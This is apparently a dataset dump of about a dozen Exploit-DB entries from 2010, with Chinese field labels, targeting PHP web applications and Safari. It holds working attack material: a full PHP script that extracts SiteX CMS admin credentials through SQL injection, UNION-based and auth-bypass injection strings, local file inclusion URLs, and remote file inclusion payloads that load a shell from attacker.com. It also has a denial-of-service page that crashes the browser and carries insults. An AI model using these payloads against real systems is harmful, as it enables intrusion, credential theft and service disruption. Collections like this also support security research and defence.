QLWD/code_shield huggingface dataset:
标题: justVisual 2.0 - 'index.php' Local File Inclusion EDB-ID: 11876 CVE: 2010-1268 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-25 漏洞利用脚本: #########################################################################
 justVisual 2.0 (index.php) <= LFI Vulnerability
#########################################################################

[+]Title: justVisual 2.0 (index.php) Local File Vulnerability
[+]Version: 2.0
[+]License: http://www.gnu.org/copyleft/gpl.html
[+]Download: http://fh54.de/justVisual/packages/justVisual2.zip
[+]Risk: Medium
[+]Local: Yes
[-]Remote: No

###########################################################
[!]Author:  eidelweiss
[!]Contact: eidelweiss[at]cyberservices[dot]com
[!]Thank`s: sp3x (securityreason) - JosS (hack0wn) - r0073r & 0x1D (inj3ct0r)
[!]Special: [D]eal [C]yber - syabilla_putri (miss u) & all my friends
###########################################################

-=[ VULN CODE ]=-

 $selfname=basename($_SERVER['PHP_SELF'],'.php'); 
 if(isset($_GET['p']) && !empty($_GET['p'])) {
  //$selfname=basename($_GET['p'],'.php');
  $selfname=str_replace('.php','',$_GET['p']);


-=[ P0C ]=-

 Http://127.0.0.1/index.php?p=[LFI]

###############################=[E0F]=################################### URL: https://www.exploit-db.com/exploits/11876
标题: SiteX CMS 0.7.4 Beta - 'photo.php' SQL Injection EDB-ID: 11881 CVE: 2010-1343 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-25 漏洞利用脚本: <?php
echo "\n\n###########################################################################\n";
echo "##                                                                       ##\n";
echo "##   Product: SiteX CMS 0.7.4 beta (/photo.php) SQL-Injection exploit    ##\n";
echo "##   Usage: php.exe sitex.php www.site.com /cmspath/                     ##\n";
echo "##   Require: Magic_quotes = off                                         ##\n";
echo "##   Author: Sc0rpi0n [RUS] (http://scorpion.su)                         ##\n";
echo "##   Special for Antichat (forum.antichat.ru)                            ##\n";
echo "##   Bugs find: Iceangel_, [x60]unu, .:[melkiy]:.                        ##\n";
echo "##                                                                       ##\n";
echo "###########################################################################\n\n";
$host=$argv[1];
$path=$argv[2];
$script="photo.php?albumid=";
$sql=urlencode("-1' UNION SELECT 1,concat(0x3a3a,username,0x3a3a3a,password,0x3a3a3a3a),3,4,5,6,7,8 FROM SiteX_Users WHERE id=1 -- ");
$fsock=fsockopen($host,80);
$headers="GET http://$host$path$script$sql HTTP/1.0\r\n";
$headers.="Host: $host\r\n\r\n";
fwrite($fsock,$headers);
while(!feof($fsock))
        $response.=fread($fsock,1024);
$pos1=strpos($response,"::") or die("## http://$host is not vulnerable or error\n");
$pos2=strpos($response,":::") or die("## http://$host is not vulnerable or error\n");
$pos3=strpos($response,"::::") or die("## http://$host is not vulnerable or error\n");
$len1=$pos2-$pos1;
$len2=$pos3-$pos2;

$login=substr($response,$pos1+2,$len1-2);
$password=substr($response,$pos2+3,$len2-3);

echo "## Host: $argv[1]\n";
echo "## Login: $login\n";
echo "## Password: $password\n";
?> URL: https://www.exploit-db.com/exploits/11881
标题: INVOhost - SQL Injection EDB-ID: 11874 CVE: 2010-1336 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-25 漏洞利用脚本: ##########################[Andrés Gómez]##########################
# Exploit Title : INVOhost SQL Injection
# Date : 2010-04-24
# Author : Andrés Gómez

# Software Link : http://www.invohost.com/
# Contact : gomezandres@adinet.com.uy<mailto:gomezandres@adinet.com.uy>
# Dork : "Powered by INVOhost"

########################################################################
# An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the # integrity of your database and/or expose sensitive information.

########################################################################
# Example 1: http://server/site.php?id=%27
# Example 2: http://server/site.php?newlanguage=%00'
# Other files vulnerables: faq.php & manuals.php

########################################################################
# Malicious users may inject SQL querys into a vulnerable
# application to fool a user in order to gather data from them or see sensible information.
########################################################################
# Solution:

# $_GET = preg_replace("|([^\w\s\'])|i",'',$_GET);
# $_POST = preg_replace("|([^\w\s\'])|i",'',$_POST);

# Add them to your template index.php after the first <?php deceleration.
########################################################################
# Special Thanks : HYPERNETHOST & Security-Pentest

##########################[Andrés Gómez]################################# URL: https://www.exploit-db.com/exploits/11874
标题: Joomla! Component SMEStorage - Local File Inclusion EDB-ID: 11853 CVE: 2010-1858 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-23 漏洞利用脚本: ---------------------------------------------------------------------------------
Joomla Component SMEStorage Local File Inclusion
---------------------------------------------------------------------------------

Author          : Chip D3 Bi0s
Group           : LatinHackTeam
Email & msn     : chipdebios[alt+64]gmail.com
Date            : 23 March 2010
Critical Lvl    : Moderate
Impact         : Exposure of sensitive information
Where         : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~


Application     : SMEStorage
Developer       : Roman Gelembjuk
License         : GPL            type  : Non - Commercial
Date Added : 12 March 2010
Download : http://gelembjuk.com/index.php?option=com_smestorage&Itemid=60&file=Jooomla+tools%2FSMEStorage+joomla+component.zip&task=showfile


Description     :

SMEStorage QFD is SMEStorage quick files directory.
This is Joomla 1.5 component for managing files directory.
Use this component if you want to setup files directory on your Joomla site.

Installation and using of the component is very easy and quick.

1. Register account with SMEStorage (http://www.smestorage.com)
2. Install this component.
3. Set up SMEStorage account info in component admin side.
4. Upload files/create folders in your SMEStorage account.
 All will be displayed on the site. And avaliable for users to download.

This component is good for creating of file directory with big count
 of files and big total size.

For example, it is easy to create and manage 20 GB of files.
Because files are not stored at server with the Joomla site.
---------------------------------------------------------------------------
how to exploit

http://localhost/index.php?option=com_smestorage&controller=[LFI]%00


+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++ URL: https://www.exploit-db.com/exploits/11853
标题: Joomla! Component Property - Local File Inclusion EDB-ID: 11851 CVE: 2010-1875 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-23 漏洞利用脚本: ---------------------------------------------------------------------------------
Joomla Component Property Local File Inclusion
---------------------------------------------------------------------------------

Author          : Chip D3 Bi0s
Group           : LatinHackTeam
Email & msn     : chipdebios[alt+64]gmail.com
Date            : 22 March 2010
Critical Lvl    : Moderate
Impact         : Exposure of sensitive information
Where         : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~


Application     : Property
Developer       : este8an
License         : GPL            type  : Non Commercial
Date Added : 22 January 2009
Download : http://www.com-property.com/download.html?func=select&id=2

Description     :

Property is a new Real Estate component 100% FREE native Joomla 1.5.
compatible with sh404sef and joomfish.

Add Profiles (Agent data: Client is a user joomla registered)
Can change permissions in User Manager to 'Agent' , then this
user can publish various properties.

Control Panel
button Create Menus automatically creates menus in FrontEnd :
All Properties,
My Short List(Favorites),
My Panel(to publish properties),
My Profile.

You can change names after created.
---------------------------------------------------------------------------
how to exploit

http://localhost/index.php?option=com_properties&controller=[LFI]%00


+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++ URL: https://www.exploit-db.com/exploits/11851
标题: Apple Safari 4.0.5 - Object Tag 'JavaScriptCore.dll' Crash (Denial of Service) EDB-ID: 11838 CVE: 2010-1131 类型: DOS 平台: WINDOWS 发布日期: 2010-03-22 漏洞利用脚本: <?php
/***************************************************************************
[TITLE]: SAFARI APPLE 4.0.5 (object tag) (JavaScriptCore.dll) DoS (Crash) 
[OS]: WINDOWS XP SP3
[DOWNLOAD]: http://www.apple.com/es/safari/download/
[AUTHOR]: 3lkt3F0k4
[CONTACT]: 3lkt3F0k4[i_love_spam]gmail[i_love_spam]com

-------------------------CRASH DUMP SNIP------------------------------------ 

Executable search path is: 
Windows XP Version 2600 (Service Pack 3) UP Free x86 compatible
Product: WinNt, suite: SingleUserTS
Machine Name:
Debug session time: Sun Mar 21 23:34:38.000 2010 (GMT+1)
System Uptime: not available
Process Uptime: 0 days 0:01:54.000
................................................................
This dump file has an exception of interest stored in it.
The stored exception information can be accessed via .ecxr.
(d94.d98): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=01417ea0 edx=0000000a esi=00011ae2 edi=7ff90240
eip=0137b267 esp=00128c50 ebp=00000000 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for JavaScriptCore.dll - 
JavaScriptCore!JSC::CString::~CString+0x40d7:
0137b267 c705efbeadbb00000000 mov dword ptr ds:[0BBADBEEFh],0 ds:0023:bbadbeef=????????

-------------------------CRASH DUMP SNIP------------------------------------ 

***************************************************************************/
$fuzz=str_repeat("<object>",10000);
echo "<title>SAFARI APPLE 4.0.5 (object tag) (JavaScriptCore.dll) DoS (Crash)</title>";
echo "<center><b><font color='#ff0000'>Wait please...Crash is coming...</font><br><br><br>";
echo "Spanish message for my friends:<br>";
echo "0wn3Dsss!!<br>";
echo "TiTo MC es un negro cabron que rapea como el puto culo.<br>";
echo "Chema Alonso a.k.a. maligno a.k.a. neo payaso MS.<br>";
echo "Eres vergonzoso, penoso, lamo, n44b, l3l,...<br>";
echo "Tus reflexiones son tristes y pobres, vas a comision? das pena chaval!<br>"; 
echo "Putos focaaaas!<br><br>";
echo "Greetz to my team: Spanishiit Team. Welcome everyone!<br>";
echo "We'll come back fucking more people...Sure!<br><br><br>";
echo "<hr width='80%' />";
echo "<font color='#ff0000'>I <3 Rooted CON 2010. Next year more! (shhhhhh)</font></center>";
echo $fuzz;
?> URL: https://www.exploit-db.com/exploits/11838
标题: Uiga Fan Club - SQL Injection EDB-ID: 11837 CVE: 2010-1365 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-22 漏洞利用脚本: # Exploit Title: Uiga Fan Club SQL Injection Vulnerability 
# Date: 22/03/2010 
# Author: Sioma Labs
# Site : http://www.scriptdevelopers.net/products/ufc.html
# Software Link: http://www.scriptdevelopers.net/download/uigafanclub.zip
# Version: N/A
# Tested on: Win (Wamp)
# CVE : N/A

 __ _                           __       _         
/ _(_) ___  _ __ ___   __ _    / /  __ _| |__  ___ 
\ \| |/ _ \| '_ ` _ \ / _` |  / /  / _` | '_ \/ __|
_\ \ | (_) | | | | | | (_| | / /___ (_| | |_) \__ \
\__/_|\___/|_| |_| |_|\__,_| \____/\__,_|_.__/|___/
                                                   
               
Exploit : 
http://site/index.php?view=photos&id=[SQLi]


Example : 
http://localhost/uigafan/index.php?view=photos&id=-7 Union Select 1,2,group_concat(admin_id,0x3a,admin_name,0x3a,admin_password),4,5 from admin--


#Sioma Labs
#siomalabs.com
#Sioma Agent 154 URL: https://www.exploit-db.com/exploits/11837
标题: Insky CMS 006-0111 - Multiple Remote File Inclusions EDB-ID: 11848 CVE: 2010-1335 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-23 漏洞利用脚本: \\\|///
      \\  - -  //
       (  @ @ )
----oOOo--(_)-oOOo--------------------------------------------------
Insky CMS v006-0111 Multiple Remote File Include Vulnerability
Script: http://code.google.com/p/insky/downloads/list
Author: mat
Mail: rahmat_punk@hotmail.com
---------------Ooooo------------------------------------------------
               (   )
      ooooO     ) /
      (   )    (_/
       \ (
        \_)

Vuln Code 

<?...
  require_once $ROOT."/insky/class/ext/js/class.js.php";
...?>

          (insky/modules/city.get/city.get.php)
          (insky/modules/city.get/index.php)
          (insky/modules/message2.send/message.send.php)
          (insky/modules/message.send/message.send.php)


<?...
  require_once($ROOT."/insky/class/ext/wiki/parserutils.php");
  require_once($ROOT.'/insky/wysiwyg/config.php');
  require_once($ROOT.'/insky/wysiwyg/editor_class.php');
...?>

          (insky/modules/pages.add/pages.add.php)

Usage: http://[target]/[path]/modules/city.get/city.get.php?ROOT=http://[shellscript]
       http://[target]/[path]/modules/city.get/index.php?ROOT=http://[shellscript]
       http://[target]/[path]/modules/message2.send/message.send.php?ROOT=http://[shellscript]
       http://[target]/[path]/modules/message.send/message.send.php?ROOT=http://[shellscript]
       http://[target]/[path]/modules/pages.add/pages.add.php?ROOT=http://[shellscript]

Greetings: All Hackerz URL: https://www.exploit-db.com/exploits/11848
标题: NotSopureEdit 1.4.1 - Remote File Inclusion EDB-ID: 11832 CVE: 2010-1216 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-21 漏洞利用脚本: ========================================================
NotSopureEdit <= 1.4.1 Remote File Include Vulnerability
========================================================


[+] NotSopureEdit <= 1.4.1 Remote File Include Vulnerability

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm cr4wl3r  member from Inj3ct0r Team            1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1


[+] Discovered by: cr4wl3r
[+] My id: http://inj3ct0r.com/author/945
[+] Original: http://inj3ct0r.com/exploits/11393
[+] Download : http://code.google.com/p/notsopureedit/downloads/list

[+] Code [template.php]: <?php include($content); ?>

[+] PoC: [path]/templates/template.php?content=[Shell]

[+] Greetz: All member inj3ct0r.com


# Inj3ct0r.com [2010-03-22] URL: https://www.exploit-db.com/exploits/11832
标题: Mini-CMS RibaFS 1.0 - Authentication Bypass EDB-ID: 11835 CVE: 2010-1346 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-22 漏洞利用脚本: =============================================================
Mini CMS RibaFS 1.0 (Auth Bypass) SQL Injection Vulnerability
=============================================================


[+] Mini CMS RibaFS 1.0 (Auth Bypass) SQL Injection Vulnerability

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm cr4wl3r  member from Inj3ct0r Team            1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+] Discovered by: cr4wl3r
[+] My id: http://inj3ct0r.com/author/945
[+] Original: http://inj3ct0r.com/exploits/9667
[+] Download : http://code.google.com/p/minicmsribafs/downloads/list

[+] Code [login.php]

if (isset($_POST['login']))
{

 include_once("./../conexao.inc.php");

     $login=$_POST['login'];
     $senha=$_POST['senha'];  

     $senha=md5($senha);
     $sql=" SELECT * FROM usuarios WHERE login ='$login' AND senha = '$senha' ";

     $qry= mysql_query($sql);

[+] PoC: [path]/admin/login.php
    Auth Bypass : ' or '1=1

[+] Greetz: All member inj3ct0r.com


# Inj3ct0r.com [2010-03-22] URL: https://www.exploit-db.com/exploits/11835
标题: WebMaid CMS 0.2-6 Beta - Multiple Remote File Inclusions EDB-ID: 11831 CVE: 2010-1267 2010-1266 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-21 漏洞利用脚本: ====================================================================
WebMaid CMS <= 0.2-6 Beta Multiple Remote File Include Vulnerability
====================================================================


[+] WebMaid CMS <= 0.2-6 Beta Multiple Remote File Include Vulnerability

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm cr4wl3r  member from Inj3ct0r Team            1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+] Discovered by: cr4wl3r
[+] My id: http://inj3ct0r.com/author/945
[+] Original: http://inj3ct0r.com/exploits/11394
[+] Download: http://code.google.com/p/webmaidcms/downloads/list

[+] PoC RFI:
    [path]/template/babyweb/index.php?template=[attacker.com]/shell.txt???
    [path]/template/babyweb/index.php?menu=[attacker]/shell.txt???
    [path]/template/babyweb/index.php?events=[attacker]/shell.txt???
    [path]/template/babyweb/index.php?SITEROOT=[attacker]/shell.txt???
    [path]/template/calm/footer.php?modules=[attacker]/shell.txt???
    [path]/template/calm/footer.php?copyright=[attacker]/shell.txt???
    [path]/template/calm/top.php?menu=[attacker]/shell.txt???
    [path]/template/wm025/footer.php?modules=[attacker]/shell.txt???
    [path]/template/wm025/footer.php?copyright=[attacker]/shell.txt???
    [path]/template/wm025/footer.php?menu=[attacker]/shell.txt???

[+] PoC LFI:
    [path]/cContactus.php?com=[LFI%00]
    [path]/cGuestbook.php?com=[LFI%00]
    [path]/cArticle.php?com=[LFI%00]

[+] Greetz: All member inj3ct0r.com


# Inj3ct0r.com [2010-03-22] URL: https://www.exploit-db.com/exploits/11831
标题: Joomla! Component & Plugin JE Tooltip 1.0 - Local File Inclusion EDB-ID: 11814 CVE: 2010-1217 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-19 漏洞利用脚本: ---------------------------------------------------------------------------------
joomla component & plugin JE Tooltip Local File Inclusion
---------------------------------------------------------------------------------

Author          : Chip D3 Bi0s
Group           : LatinHackTeam
Email & msn     : chipdebios[alt+64]gmail.com
Date            : 11 March 2010
Critical Lvl    : Moderate
Impact         : Exposure of sensitive information
Where         : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~


Application     : JE Tooltip (component and plugin)
version         : 1.0
Developer       : Hardik Mistry
License         : GPL            type  : Commercial
Date Added      : 11 March 2010
Demo            : http://joomlaextensions.co.in/formcreator/

Download        : http://joomlaextensions.co.in/extensions/joomla-module.html?page=shop.product_details&category_id=4&flypage=flypage.tpl&product_id=51&vmcchk=1

Description     :

JE Tooltip new Joomla 1.5 native MVC component and plugin that allows you to enter a word that you want to put on tool tip word. User can put the unlimited tooltips.

Below steps follow for installation:-
Go to Joomla Installation and install the component and plugin.
After that you can create tooltip on specific words on your entire website.
---------------------------------------------------------------------------

Vulnerable file: jeformcr.php

--------------------

how to exploit

http://192.168.0.1/index.php?option=com_jeformcr&view={LFI}%00


+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++ URL: https://www.exploit-db.com/exploits/11814